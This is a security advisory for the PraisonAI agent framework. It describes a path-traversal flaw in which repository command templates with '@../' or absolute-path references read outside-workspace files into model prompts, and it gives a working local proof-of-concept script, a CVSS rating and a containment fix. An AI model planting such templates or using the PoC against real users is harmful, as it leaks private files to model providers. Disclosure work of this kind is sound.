PYSEC-2026-4261
PraisonAI: Project custom command templates can read outside-workspace files into model prompts
Quick fix
PYSEC-2026-4261 — praisonai: upgrade to the fixed version with the command below.
pip install --upgrade 'praisonai>=4.6.78'Details
# Project custom command templates can read outside-workspace files into model prompts
## Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.
The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.
This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
## Technical Details
The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:
```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ```
`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.
`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:
```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ```
`TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file:
```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str)
if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ```
There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / "/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.
The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.
## PoV
A minimal vulnerable repository only needs a project command template and an outside file:
```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ```
When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.
The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
## PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.
```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 - "$PWD" <<'PY' from __future__ import annotations
import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path
CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"
def install_yaml_fallback_if_needed() -> str: if importlib.util.find_spec("yaml") is not None: return "installed"
yaml_stub = types.ModuleType("yaml")
class YAMLError(Exception): pass
def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data
yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed"
def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}")
class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd()
def __enter__(self): os.chdir(self.path)
def __exit__(self, *_exc): os.chdir(self.old)
def write_command(commands_dir: Path, name: str, body: str) -> None: commands_dir.mkdir(parents=True, exist_ok=True) (commands_dir / f"{name}.md").write_text( "---\n" f"description: {name}\n" "---\n" f"{body}\n", encoding="utf-8", )
source_root = Path(sys.argv[1]).resolve() yaml_dependency = install_yaml_fallback_if_needed() add_source_to_path(source_root)
from praisonai.cli.features.custom_definitions import interpolate_command_template
with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp: temp_root = Path(tmp).resolve() workspace = temp_root / "workspace" workspace.mkdir() subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)
inside = workspace / "inside.txt" outside = temp_root / "outside_secret.txt" inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8") outside.write_text(f"{CANARY}\n", encoding="utf-8")
commands_dir = workspace / ".praisonai" / "commands" write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt") write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}") write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt") write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt") write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")
with pushd(workspace): relative_result = interpolate_command_template("relative_escape", "operator argument") absolute_result = interpolate_command_template("absolute_escape", "operator argument") inside_result = interpolate_command_template("inside_control", "operator argument") missing_result = interpolate_command_template("missing_control", "operator argument") shell_result = interpolate_command_template("shell_control", "operator argument")
result = { "vulnerable": all( [ CANARY in (relative_result or ""), CANARY in (absolute_result or ""), "INSIDE_FILE=allowed" in (inside_result or ""), "@missing.txt" in (missing_result or ""), not (workspace / "SHOULD_NOT_EXIST").exists(), ] ), "expectations": { "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""), "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""), "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""), "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""), "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(), }, "samples": { "relative_escape": relative_result, "absolute_escape": absolute_result, "inside_control": inside_result, "missing_control": missing_result, "shell_control": shell_result, }, "yaml_dependency": yaml_dependency, }
print(json.dumps(result, indent=2, sort_keys=True)) raise SystemExit(0 if result["vulnerable"] else 1) PY ```
Expected vulnerable output:
```json { "expectations": { "absolute_path_discloses_outside_file": true, "inside_control_expands_workspace_file": true, "missing_control_leaves_missing_reference": true, "relative_parent_traversal_discloses_outside_file": true, "shell_control_does_not_create_file": true }, "samples": { "absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "inside_control": "Review inside:\nINSIDE_FILE=allowed\n", "missing_control": "Missing stays literal:\n@missing.txt", "relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)" }, "vulnerable": true, "yaml_dependency": "installed" } ```
The PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.
## Impact
An attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.
This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.
Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.
Suggested CVSS 3.1 vector:
```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ```
Relevant CWEs:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
## Suggested Fix
Resolve command `@path` references through a single containment helper before opening files:
1. Resolve the project root or intended command workspace once. 2. For relative references, join to that root and then call `resolve()`. 3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed. 4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation. 5. Apply the same boundary to project and user command templates. 6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.
Minimal shape:
```python def resolve_command_file(root: Path, value: str) -> Path: root = root.resolve() candidate = Path(value) if not candidate.is_absolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relative_to(root) except ValueError as exc: raise PermissionError(f"command file reference escapes workspace: {value}") from exc return resolved ```
## Affected Package/Versions
The feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.
```text introducing commit: 88cf0c29 earliest affected release observed: v4.6.65 latest affected release observed: v4.6.71 latest PyPI version checked: 4.6.71 unaffected sampled tag: v4.6.64 fixed version: none identified yet ```
Affected package entry:
```text Ecosystem: pip Package: praisonai Vulnerable versions: >= 4.6.65 Patched versions: none yet ```
## Advisory History
No checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.
The closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.
Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.
## References
- PraisonAI repository: https://github.com/MervinPraison/PraisonAI - Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29 - Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab - Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx - PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-60088[ADVISORY]
- https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab[WEB]
- https://github.com/MervinPraison/PraisonAI[PACKAGE]
- https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands[WEB]
- https://pypi.org/project/praisonai[PACKAGE]
- https://github.com/advisories/GHSA-xpx6-x8c2-mw5w[ADVISORY]